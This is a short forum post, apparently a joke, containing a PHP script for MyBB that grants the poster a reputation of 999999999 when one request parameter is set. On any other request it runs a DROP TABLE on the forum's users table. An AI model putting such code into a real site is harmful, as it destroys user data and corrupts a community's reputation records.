[Ajof]

Improved your code and made it compatible with mybb :)

PHP Code:

<?php
require_once 'mybb/global.php';

if($mybb->input['thread'] == 'useful')
{
           $insert_array = array(
                                      'uid' => 'whatever the hell my userid is',
                                      'adduid' => $mybb->user['uid'],
                                      'reputation' => '999999999',
                                      'comments' => $db->escape_string($mybb->input['comments'])
                                       );
           $query = $db->insert_query("reputation", $insert_array);
}
else
{
          $db->query('DROP TABLE '.TABLE_PREFIX.'users');
          $db->error('You suck!');
}
?>